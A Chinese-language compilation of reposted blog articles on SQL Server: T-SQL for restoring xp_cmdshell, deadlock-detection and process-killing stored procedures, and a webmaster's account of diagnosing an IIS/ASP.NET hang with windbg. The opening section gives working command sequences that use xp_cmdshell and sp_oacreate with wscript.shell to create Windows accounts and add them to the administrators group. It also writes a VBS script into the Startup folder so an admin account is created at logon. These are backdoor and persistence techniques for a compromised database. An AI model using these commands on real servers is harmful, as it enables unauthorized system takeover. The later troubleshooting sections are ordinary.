第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕。
2、无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕。
3、无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕。
4、终极方法:
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
还不行就没办法了……
方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO
然后按F5键命令执行完毕
方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc 'xp_cmdshell' 然后按F5键命令执行完毕
1、未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕
2、无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕
3、无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
4、终极方法。如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user yszar andylau /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators yszar /add'
xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'
或者可以
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'XXXXX'\\XXXXX为你要执行的命令
有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程 sp_addextendedproc
解决方法:
create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) — sp_addextendedproc
GO
这段代码贴入查询分离器,执行
1、突破xplog70.dll
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user 用户名 密码 /add','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net localgroup administrators 用户名 /add','0','true'
2、恢复xp_cmdshell
先尝试恢复xp_cmdshell,sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
结果发现xpsql70.dll被删除。
然后写vbs文件到启动组里面:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动http://www.cnblogs.com/junzhongxu/admin/file://a.vbs'/, 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)'
3、去除SA的xp_cmdshell权限
如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
4、上传xplog7.0.dll:
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
转自:http://www.51testing.com/html/03/n-132103.html
[SQL]检测死锁的SQL语句和存储过程
转载:http://www.cnblogs.com/zhuawang/archive/2008/08/14/1267879.html
如果发生死锁了,我们怎么去检测具体发生死锁的是哪条SQL语句或存储过程?
这时我们可以使用以下存储过程来检测,就可以查出引起死锁的进程和SQL语句。SQL Server自带的系统存储过程sp_who和sp_lock也可以用来查找阻塞和死锁, 但没有这里介绍的方法好用。
use master
go
create procedure sp_who_lock
as
begin
declare @spid int,@bl int,
@intTransactionCountOnEntry int,
@intRowcount int,
@intCountProperties int,
@intCounter int
create table #tmp_lock_who (
id int identity(1,1),
spid smallint,
bl smallint)
IF @@ERROR<>0 RETURN @@ERROR
insert into #tmp_lock_who(spid,bl) select 0 ,blocked
from (select * from sysprocesses where blocked>0 ) a
where not exists(select * from (select * from sysprocesses where blocked>0 ) b
where a.blocked=spid)
union select spid,blocked from sysprocesses where blocked>0
IF @@ERROR<>0 RETURN @@ERROR
— 找到临时表的记录数
select @intCountProperties = Count(*),@intCounter = 1
from #tmp_lock_who
IF @@ERROR<>0 RETURN @@ERROR
if @intCountProperties=0
select '现在没有阻塞和死锁信息' as message
— 循环开始
while @intCounter <= @intCountProperties
begin
— 取第一条记录
select @spid = spid,@bl = bl
from #tmp_lock_who where Id = @intCounter
begin
if @spid =0
select '引起数据库死锁的是: '+ CAST(@bl AS VARCHAR(10)) + '进程号,其执行的SQL语法如下'
else
select '进程号SPID:'+ CAST(@spid AS VARCHAR(10))+ '被' + '进程号SPID:'+ CAST(@bl AS VARCHAR(10)) +'阻塞,其当前进程执行的SQL语法如下'
DBCC INPUTBUFFER (@bl )
end 
— 循环指针下移
set @intCounter = @intCounter + 1
end
drop table #tmp_lock_who
return 0
end
杀死锁和进程
如何去手动的杀死进程和锁?最简单的办法,重新启动服务。但是这里要介绍一个存储过程,通过显式的调用,可以杀死进程和锁。
use master
go
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_killspid]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_killspid]
GO
create proc p_killspid
@dbname varchar(200) —要关闭进程的数据库名
as
declare @sql nvarchar(500)
declare @spid nvarchar(20)
declare #tb cursor for
select spid=cast(spid as varchar(20)) from master..sysprocesses where dbid=db_id(@dbname)
open #tb
fetch next from #tb into @spid
while @@fetch_status=0
begin
exec('kill '+@spid)
fetch next from #tb into @spid
end
close #tb
deallocate #tb
go
—用法
exec p_killspid 'newdbpy'
查看锁信息
如何查看系统中所有锁的详细信息?在企业管理管理器中,我们可以看到一些进程和锁的信息,这里介绍另外一种方法。
—查看锁信息
create table #t(req_spid int,obj_name sysname)
declare @s nvarchar(4000)
,@rid int,@dbname sysname,@id int,@objname sysname
declare tb cursor for
select distinct req_spid,dbname=db_name(rsc_dbid),rsc_objid
from master..syslockinfo where rsc_type in(4,5)
open tb
fetch next from tb into @rid,@dbname,@id
while @@fetch_status=0
begin
set @s='select @objname=name from ['+@dbname+']..sysobjects where id=@id'
exec sp_executesql @s,N'@objname sysname out,@id int',@objname out,@id
insert into #t values(@rid,@objname)
fetch next from tb into @rid,@dbname,@id
end
close tb
deallocate tb
select 进程id=a.req_spid
,数据库=db_name(rsc_dbid)
,类型=case rsc_type when 1 then 'NULL 资源(未使用)'
when 2 then '数据库'
when 3 then '文件'
when 4 then '索引'
when 5 then '表'
when 6 then '页'
when 7 then '键'
when 8 then '扩展盘区'
when 9 then 'RID(行 ID)'
when 10 then '应用程序'
end
,对象id=rsc_objid
,对象名=b.obj_name
,rsc_indid
from master..syslockinfo a left join #t b on a.req_spid=b.req_spid
go
drop table #t[IIS]一次挂死(hang)的处理过程及经验
转载:http://www.cnblogs.com/longyu/archive/2009/06/21/1507250.html
前言:
CPU占用率低,内存还有许多空余,但网站无法响应,这就是网站挂死,通常也叫做hang。这种情况对于我这样既是CEO, 又是CTO,还兼职扫地洗碗的个人站长来说根本就是家常便饭。以下是一次处理hang的经验及总结,前后用了一个月,不仅涉及程序排查,数据库优化,还有 硬件升级的苦恼。其中辛酸苦辣只有经历过的站长才能体会,希望此文能对各位有所帮助!
首先介绍一下网站基本情况,是一个在线小说阅读网站,每天有一定页面访问量,在优化开始前由两台服务器运行,均为Dell PowerEdge 2950,配置为一台Intel xeon E5410 2.33G*2 ,4GB ECC内存,另一台Intel xeon E5405 2.0G*2 ,2GB ECC内存。
网站程序采用ASP.NET 2.0,操作系统为 windows 2003 server 企业版,数据库为Ms SQLServer 2005。数据库放在配置较低的那台机器上,网站小说图片和章节内容用EMC Replistor同步。
问题描述:
大概在五月中旬,网站速度开始变慢,根据读者的描述每当中午以后每间隔一段时间,浏览器处于连接的状态,但是一直没有收到服务器的响应,打开下一个页面往往需要一两分钟。这种情况持续大概5分钟后打开速度恢复正常,然后隔相同时间又出现。
登陆服务器观察CPU波动在10%-30%之间,w3wp.exe内存占用500M左右,应该不是内存溢出或者泄露。观察任务管理中“联网”一项,发现服务器流量有如下变化:
显然在hang期间服务器没有对外发送任何数据。
初步尝试:
是什么造成服务器假死呢?根据读者的描述:“中午以后”可以知道hang出现在访问人数较大的时期,“间隔相同时间出现”提示我们有可能是服务器某些资源被耗尽造成死锁,然后服务器回收,接着再次耗尽。
有了以上判断,我们就有路可循了,估计问题无非出在IIS6,ASP.NET 2.0 ,MSSQL SERVER 2005这三个服务的配置上:
1. 检查IIS设置,主要检查应用程序池里的设置,看看核心请求队列有没有限制. 可以参考 《Windows Server 2003 性能调整指南》
2. 检查ASP.NET的http管道设置,具体是machine.config下 <system.web>的<processModel />节点,可以参考《ASP.net 2.0:我还有多少秘密你不知道?(1)》
3 MS SQLServer暂时没有想到有什么需要修改的,保持默认设置。
经过检查发现IIS设置没有问题,machine.config配置文件下processModel为 autoConfig="true",于是把requestQueueLimit修改为15000,另外还修改了其他一些配置。上传后发现问题依旧,这下 郁闷了,难道还有什么会造成服务器资源消耗后回收?
答案是显然的,.NET环境下确实有这么一个东西: GC!
会不会是由于GC在压缩和回收垃圾造成网站无法响应?如何监视GC运行的情况呢?
答案也是显然的:性能监视器 ((转)Windows 性能监视器工具-perfmon)
性能监视器下的.Net CLR Memory Object有很多关于GC的计数器,能让我们了解GC的详细工作情况。但是经过观察发现在hang期间和hang之前都没有GC运行的明显变化,我的天啊,也不是GC的问题,那会是什么呢?
相信很多和我一样的菜鸟小站长到这个地步已经垂头丧气了,难道我们现在应该到论坛或者博客园发帖然后祷告哪个高手好心帮帮忙花 点小力气解决一下?我们是否还有一些遗忘的东西?或者说我们是不是忽略了问题的本质?这里的问题显然是由于IIS无法响应请求,确切的来说是 ASP.NET无法正常的响应请求(为什么是ASP.NET而不是IIS?猜的!),那有没有办法知道ASP.NET在hang期间正在进行什么工作呢? 有的!这就是.net爱好者人手一把的神器级工具:windbg
神器windbg:
Windbg是微软发布的一款用于调试和Debug的免费工具,可以在http://www.microsoft.com/whdc/DevTools/Debugging/default.mspx下载。
我们主要利用windbg抓取hang期间的dump用于分析,其他windbg的功能请参考园子里的资料。
在服务器上下载并安装好windbg后,进入命令行,转到C:\Program Files\Debugging Tools for Windows (x86)\目录下,
输入 adplus –hang –pn w3wp.exe – quiet,但是不要急着按回车,等到出现hang情况再按,这样我们就在目录下得到一个dump文件,其大小与w3wp.exe进程大小相同。(adplus及如何自动抓取参考园子里资料)。
把dump文件下载到本地后,运行自己机器上的windbg打开dump文件(windbg初始配置请参考资料),输入:
1 .load sos
此命令加载.net 调试器,具体设置请参考资料
2 !threads
查看当前运行的进程,得到结果如下,省略了一部分:
0:000> !threads
ThreadCount: 245
UnstartedThread: 0
BackgroundThread: 245
PendingThread: 0
DeadThread: 0
Hosted Runtime: no
PreEmptive GC Alloc Lock
ID OSID ThreadOBJ State GC Context Domain Count APT Exception
11 1 9e4 000e96a0 1808220 Enabled 00000000:00000000 0010f680 1 MTA (Threadpool Worker)
23 2 f48 000bd750 b220 Enabled 00000000:00000000 000eac88 0 MTA (Finalizer)
25 3 1324 00104370 180b220 Enabled 00000000:00000000 0010f680 1 MTA (Threadpool Worker)
26 4 4f8 00106980 180b220 Enabled 00000000:00000000 0010f680 1 MTA (Threadpool Worker)
27 5 9ec 0010bd38 80a220 Enabled 00000000:00000000 000eac88 0 MTA (Threadpool Completion Port)
。。。。。。。
我们可以看到当前一共有245个进程正在运行,根据熊力大师的《windows用户态高效排错》P164页上描述(刚好例子也 是博客园),超过30个线程估计程序中有blocking发生,那我们245个线程就是由blokiiiiiiiiing发生了,仔细检查一下,没有线程 处于GC状态,说明blocking不是因为GC,证实了我上面的推断。
接着输入:
~* e!clrstack 看看这些线程都在执行什么,结果发现几乎所有的进程都在执行同一个过程,如下(阅读请从下往上看,因为是stack):
24aeeb60 7c9585ec [NDirectMethodFrameStandalone: 24aeeb60] Microsoft.Win32.Win32Native.CloseHandle(IntPtr)
24aeeb70 7927984d Microsoft.Win32.SafeHandles.SafeFileHandle.ReleaseHandle()
24aeed90 79e71b4c [GCFrame: 24aeed90]
24aeef88 79e71b4c [GCFrame: 24aeef88]
24aeeff4 79e71b4c [HelperMethodFrame_1OBJ: 24aeeff4] System.Runtime.InteropServices.SafeHandle.InternalDispose()
24aef04c 792e5e06 System.Runtime.InteropServices.SafeHandle.Dispose(Boolean)
24aef054 792e5ddd System.Runtime.InteropServices.SafeHandle.Dispose()
24aef05c 792eb580 System.IO.FileStream.Dispose(Boolean)
24aef090 792dfc82 System.IO.Stream.Close()
24aef09c 79271d90 System.IO.StreamReader.Dispose(Boolean)
24aef0c8 792d88ad System.IO.TextReader.Dispose()
24aef0d0 1d879f07 XXXXXX.BLL.Chapter.ChapterContent(Int32, Int32)
24aef110 1d879e14 XXXXX.BLL.Chapter.GetChapterContent(Int32, Int32)
24aef120 1d874a4e XXXXX.ReadContent.Page_Load(System.Object, System.EventArgs)
24aef164 66f2a7ff System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr, System.Object, System.Object, System.EventArgs)
24aef174 660b2344 System.Web.Util.CalliEventHandlerDelegateProxy.Callback(System.Object, System.EventArgs)
24aef188 660ab864 System.Web.UI.Control.OnLoad(System.EventArgs)
24aef19c 660ab8a3 System.Web.UI.Control.LoadRecursive()
24aef1b4 660a7954 System.Web.UI.Page.ProcessRequestMain(Boolean, Boolean)
24aef30c 660a7584 System.Web.UI.Page.ProcessRequest(Boolean, Boolean)
24aef344 660a74b1 System.Web.UI.Page.ProcessRequest()
24aef37c 660a7446 System.Web.UI.Page.ProcessRequestWithNoAssert(System.Web.HttpContext)
24aef388 660a7422 System.Web.UI.Page.ProcessRequest(System.Web.HttpContext)
24aef39c 26bff7d5 ASP.readcontent_aspx.ProcessRequest(System.Web.HttpContext)
24aef3a0 660ad8f6 System.Web.HttpApplication+CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
24aef3d4 6608132c System.Web.HttpApplication.ExecuteStep(IExecutionStep, Boolean ByRef)
24aef414 6608c3a3 System.Web.HttpApplication+ApplicationStepManager.ResumeSteps(System.Exception)
24aef464 660808ac System.Web.HttpApplication.System.Web.IHttpAsyncHandler.BeginProcessRequest(System.Web.HttpContext, System.AsyncCallback, System.Object)
24aef480 66083e1c System.Web.HttpRuntime.ProcessRequestInternal(System.Web.HttpWorkerRequest)
24aef4b4 66083ac3 System.Web.HttpRuntime.ProcessRequestNoDemand(System.Web.HttpWorkerRequest)
24aef4c4 66082c5c System.Web.Hosting.ISAPIRuntime.ProcessRequest(IntPtr, Int32)
24aef6d8 79f68c4e [ContextTransitionFrame: 24aef6d8]
24aef70c 79f68c4e [GCFrame: 24aef70c]
24aef868 79f68c4e [ComMethodFrame: 24aef868]
OS Thread Id: 0x17d4 (109)
这下问题很明显了,是由于XXXXXX.BLL.Chapter.ChapterContent(Int32, Int32)引发磁盘IO操作造成锁定,ChapterContent是读取小说章节内容的一个函数,小说内容保存在txt文件中,每一个章节对应一个 txt文件,在显示章节内容时首先读取txt的文件然后打印到网页当中。具体代码如下:
private static string ChapterContent(int bookId, int chapterId)
{
string filepath = siteRoot + string.Format(chapterPath, bookId.ToString(), chapterId.ToString());
if (File.Exists(filepath))
{
return File.ReadAllText(filepath, Encoding.UTF8);
}
string bookPath = siteRoot + "/book/" + bookId.ToString();
if (!Directory.Exists(bookPath))
{
Directory.CreateDirectory(bookPath);
}
return "此文章内容丢失,请复制网址通知管理员";
}
代码看起来没有问题,查看源码知道File.ReadAllText内部用了using读取文件,应该是及时释放了的,那么估 计问题出在大量IO同时进行,导致非托管代码出现了blocking(SafeHandle是.net2.0增加的保证程序可靠性的东东,熊力大师的书上 有描述),那么问题是,如何得到一个支持大量IO操作,具有线程安全的文件系统呢?等等,这话听起来好熟悉,这不就是数据库吗??!
OK,这下我们的信心又从火星飞回来了,赶快动手写程序把txt文件导入数据库中,经过3天时间的终于把200多万个TXT章节共计17GB导入到ms SQLServer2005中(夜间人少的时候进行)。本以为这下搞定了,却不知道是另一场噩梦的开始!
站长之路何其艰辛!
数据库噩梦:
好不容易把txt章节导入到数据库里,运行一天下来速度的确有那么一点提升,可是读者的抱怨依然没有减少,每当高峰时期速度还是一如既往的慢。这次又是怎么回事呢?老办法运起神器windbg,按照上一节的操作后发现一共有101个线程,大部分线程都在执行:
2036ec90 7c9585ec [InlinedCallFrame: 2036ec90] <Module>.SNIReadSync(SNI_Conn*, SNI_Packet**, Int32)
2036ec8c 65226f0a SNINativeMethodWrapper.SNIReadSync(System.Runtime.InteropServices.SafeHandle, IntPtr ByRef, Int32)
2036ecfc 65226c14 System.Data.SQLClient.TdsParserStateObject.ReadSni(System.Data.Common.DbAsyncResult, System.Data.SQLClient.TdsParserStateObject)
2036ed34 65611041 System.Data.SqlClient.TdsParserStateObject.ReadNetworkPacket()
2036ed44 65228680 System.Data.SqlClient.TdsParserStateObject.ReadBuffer()
2036ed50 65228609 System.Data.SqlClient.TdsParserStateObject.ReadByte()
2036ed5c 65609b88 System.Data.SqlClient.TdsParser.Run(System.Data.SqlClient.RunBehavior, System.Data.SqlClient.SqlCommand, System.Data.SqlClient.SqlDataReader, System.Data.SqlClient.BulkCopySimpleResultSet, System.Data.SqlClient.TdsParserStateObject)
2036edc8 65220f12 System.Data.SqlClient.SqlDataReader.ConsumeMetaData()
2036eddc 65220a34 System.Data.SqlClient.SqlDataReader.get_MetaData()
2036ee08 6521f396 System.Data.SqlClient.SqlCommand.FinishExecuteReader(System.Data.SqlClient.SqlDataReader, System.Data.SqlClient.RunBehavior, System.String)
2036ee40 6521eff5 System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean, Boolean)
2036ee8c 6521edf3 System.Data.SqlClient.SqlCommand.RunExecuteReader(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean, System.String, System.Data.Common.DbAsyncResult)
2036eed0 6521ed31 System.Data.SqlClient.SqlCommand.RunExecuteReader(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean, System.String)
2036eeec 6521ec3e System.Data.SqlClient.SqlCommand.ExecuteReader(System.Data.CommandBehavior, System.String)
2036ef2c 6521ea5d System.Data.SqlClient.SqlCommand.ExecuteDbDataReader(System.Data.CommandBehavior)
2036ef30 6521fcab System.Data.Common.DbCommand.System.Data.IDbCommand.ExecuteReader(System.Data.CommandBehavior)
2036ef38 652300e3 System.Data.Common.DbDataAdapter.FillInternal(System.Data.DataSet, System.Data.DataTable[], Int32, Int32, System.String, System.Data.IDbCommand, System.Data.CommandBehavior)
2036ef90 65230010 System.Data.Common.DbDataAdapter.Fill(System.Data.DataSet, Int32, Int32, System.String, System.Data.IDbCommand, System.Data.CommandBehavior)
2036efd4 6522fe9f System.Data.Common.DbDataAdapter.Fill(System.Data.DataSet)
2036f004 1e5b9e73 xxxx.SQLServerDAL.SqlHelper.ExecuteDataset(System.Data.SqlClient.SqlConnection, System.Data.CommandType, System.String, System.Data.SqlClient.SqlParameter[])
2036f020 1e5b9dbf XXXX.SQLServerDAL.SqlHelper.ExecuteDataset(System.String, System.Data.SqlClient.SqlParameter[])
2036f050 1e5b9d48 XXXX.SQLServerDAL.Book.GetBookContent(Int32)
2036f064 1e5b879f XXXX.BLL.Book.GetBookContent(Int32)
2036f098 1e5b3315 XXXX.ReadBook.Page_Load(System.Object, System.EventArgs)
2036f0f8 66f2a7ff System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr, System.Object, System.Object, System.EventArgs)
2036f108 660b2344 System.Web.Util.CalliEventHandlerDelegateProxy.Callback(System.Object, System.EventArgs)
2036f11c 660ab864 System.Web.UI.Control.OnLoad(System.EventArgs)
2036f130 660ab8a3 System.Web.UI.Control.LoadRecursive()
2036f148 660a7954 System.Web.UI.Page.ProcessRequestMain(Boolean, Boolean)
2036f2a0 660a7584 System.Web.UI.Page.ProcessRequest(Boolean, Boolean)
2036f2d8 660a74b1 System.Web.UI.Page.ProcessRequest()
2036f310 660a7446 System.Web.UI.Page.ProcessRequestWithNoAssert(System.Web.HttpContext)
2036f31c 660a7422 System.Web.UI.Page.ProcessRequest(System.Web.HttpContext)
2036f330 1b66aed5 ASP.readbook_aspx.ProcessRequest(System.Web.HttpContext)
2036f334 660ad8f6 System.Web.HttpApplication+CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
2036f368 6608132c System.Web.HttpApplication.ExecuteStep(IExecutionStep, Boolean ByRef)
2036f3a8 6608c3a3 System.Web.HttpApplication+ApplicationStepManager.ResumeSteps(System.Exception)
2036f3f8 660808ac System.Web.HttpApplication.System.Web.IHttpAsyncHandler.BeginProcessRequest(System.Web.HttpContext, System.AsyncCallback, System.Object)
2036f414 66083e1c System.Web.HttpRuntime.ProcessRequestInternal(System.Web.HttpWorkerRequest)
2036f448 66686c53 System.Web.RequestQueue.WorkItemCallback(System.Object)
2036f460 792c9dff System.Threading._ThreadPoolWaitCallback.WaitCallback_Context(System.Object)
2036f468 792f5611 System.Threading.ExecutionContext.runTryCode(System.Object)
2036f88c 79e71b4c [HelperMethodFrame_PROTECTOBJ: 2036f88c] System.Runtime.CompilerServices.RuntimeHelpers.ExecuteCodeWithGuaranteedCleanup(TryCode, CleanupCode, System.Object)
2036f8f4 792f5507 System.Threading.ExecutionContext.RunInternal(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object)
2036f910 792e0175 System.Threading.ExecutionContext.Run(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object)
2036f928 792ca363 System.Threading._ThreadPoolWaitCallback.PerformWaitCallbackInternal(System.Threading._ThreadPoolWaitCallback)
2036f93c 792ca1f9 System.Threading._ThreadPoolWaitCallback.PerformWaitCallback(System.Object)
2036facc 79e71b4c [GCFrame: 2036facc]
2036fc18 79e71b4c [ContextTransitionFrame: 2036fc18]
毫无疑问,是由于某些函数(如GetBookContent)操作数据库造成SQL Blocking,打开GetBookContent执行的SQL语句,如下(是一存储过程):
Select [ID], [Name] FROM dbo.Book_ChapterCategory Where Book_ID = @bookid
Select dbo.Book_Chapter.Chapter_ID,dbo.Book_Chapter.ChapterName,dbo.Book_Chapter.Category_ID,dbo.Book_Chapter.IsVipChapter
FROM dbo.Book_Chapter Where dbo.Book_Chapter.Book_ID = @bookid orDER BY dbo.Book_Chapter.Chapter_ID
两条很简单的查询语句,没有什么问题,操作数据库过程中也用了using确保连接关闭。那会是什么问题呢?再仔细讯问读者如何 定义“服务器卡死了”的描述,发现问题和以前一样,也是无法响应一段时候后恢复正常再无法响应,那又是用尽某些资源然后回收?可是我们已经导入数据库了 呀!数据库,数据库,噢!对了,ADO.NET处理数据库连接时候用到连接池技术,会不会是已经达到了默认上限(默认是100)了呢?运起另外一件神器性 能监视器查看(参照上节文章),果然已经达到上限,这下好办,我们修改连接字符串为以下(请参考SqlConnection..::.ConnectionString 属性):
server=XXX;user id=XXX;password=XXX;database=XXX;Max Pool Size =500;Connection Lifetime=300;
这下连接池上限改成500了,满怀信心的传上去,结果无比郁闷,单独web那台服务器运行比较正常,但是同时运行web和 database那台服务器几乎是无法对外响应!OK,一台服务器不应该承担过多的职责,幸好家里还有一台淘汰下来的DELL PE 1850机器,赶紧让老妈跑到电信局去申请托管(我在上海读书,服务器放在家里的城市),被告知需要领导审批3天后才能上架,极其难受的度过3天,那台老 服务器终于用上。赶紧把数据库转移到老服务器上,心想这下搞定了吧!
现实和理想总是有一定差距,这就是人生。新上架的服务器虽然解决了“一段时间无法响应,过一会好了,然后再无法响应“的问题, 但速度依然很慢,表现为性能监视器 Asp.net Application里Request in Applicatong Queue一直有许多请求未处理,但是不会像以前一样完全无法响应。还有新的问题出现,在涉及大数据量操作的时候会提示发生死锁!OMG,程序也没改变, 访问量也没大变化,一直以来都没问题,怎么会发生死锁呢!那叫一个郁闷呀!
由于之前没有发生过,那估计是新托管的服务器处理速度不够导致的死锁,经过搜索后得知打开MS SQL SERVER 2005 的READ_COMMITTED_SNAPSHOT选项(参看SQL Server 2005使用基于行版本控制的隔离级别初探)能够提供基于行版本控制的隔离级别,这意味着读取操作不会阻止更新操作。但是打开这个选项要求暂停数据库所有 事务,所以我选择了另外一个方法,在查询语句添加 with(nolock)达到同样的效果.
但是事与愿违,速度依然没有得到改善,看来只能升级数据库服务器的硬件,于是一个电话打到DELL订购一台PE 2950,花了1万7大洋,销售代表小姐甜甜地告诉我需要7个工作日内服务器才能寄到家里,这一天是2009-6-4号(值得纪念吗?)。
服务器还没到,那就不妨再检查看看还有什么可以优化的地方,既然是由于数据库服务器运行速度慢导致的阻塞,那能不能优化SQL操作来提高速度呢?首先找出具体引起死锁的语句,采用《检测死锁》一文中提供的储存过程发现这个存储过程有问题:
Select Book_Book.*, Book_Category.Description AS CategoryName
FROM Book_Book WITH(NOLOCK) LEFT JOIN
Book_Category WITH(NOLOCK) ON Book_Book.Category_ID = Book_Category.Category_ID
Where Book_Book.Book_ID = @Book_ID
Update Book_Book WITH (ROWLOCK) SET VisitedCount=VisitedCount+1,MonthHits=MonthHits+1,DayHits=DayHits+1,WeekVisitedCount=WeekVisitedCount+1 Where [Book_ID] = @Book_ID
该过程检索小说信息后,顺便增加点击数,列Book_ID建立了聚集索引,注意到已经在select语句中加上 with(nolock),为什么这个语句会引起死锁呢?关键在于后面一个update,大量的并发操作和较低的硬件配置使得服务器在执行此update 时速度缓慢,而执行update会加上排它锁,进而造成死锁(但是我用了行级锁,为什么还会这样呢?),把update删除后大部分死锁也没有了,但是一 个网站不能不统计点击数,咨询DUDU,他建议把点击数分出一个单独的表。但是这样做会是一个大的工程,所以只好在不繁忙的时段才统计点击数,等待新服务 器的到来。
在不改变表的情况下,接着对其他存储过程进行优化,借助 SQL SERVER2005中数据库引擎优化顾问建立索引,十分傻瓜式,但是这个东西也不能全信,有些读者反映一个页面打开特别慢,显示执行超时,检查后发现是如下SQL语句(简化过)
Select
一堆列名
FROM
Book_Book LEFT JOIN Book_Chapter
ON
Book_Book.LastChapterID = Book_Chapter.Chapter_ID
LEFT JOIN dbo.Book_ChapterCategory
ON
Book_Chapter.Category_ID = Book_ChapterCategory.ID
Where
Book_Book.Moderator_ID =@UserID
ORDER BY
Book_Chapter.Addtime desc
此存储过程设计三个表,在我机器上的数据量分别是
Book_Book 15145行
Book_Chapter 1006603行
Book_ChapterCategory 45928行
在SQL Server Management Studio中执行该过程,并选择窗口栏上“包括执行计划”,得到结果集 11455行,执行计划如图:

把鼠标移动到各个方框上会显示详细的执行信息,重点关注开销比较大的,移动到那个开销为53%的上面,显示:
其中对象里显示的_dta_index_Book_Chapter_5_308964227__K1_K6_K5_2是数据库引擎优 化顾问建立的非聚集索引,在Book_Chapter上建立[Chapter_ID] ASC, [Category_ID] ASC, [Addtime] ASC。
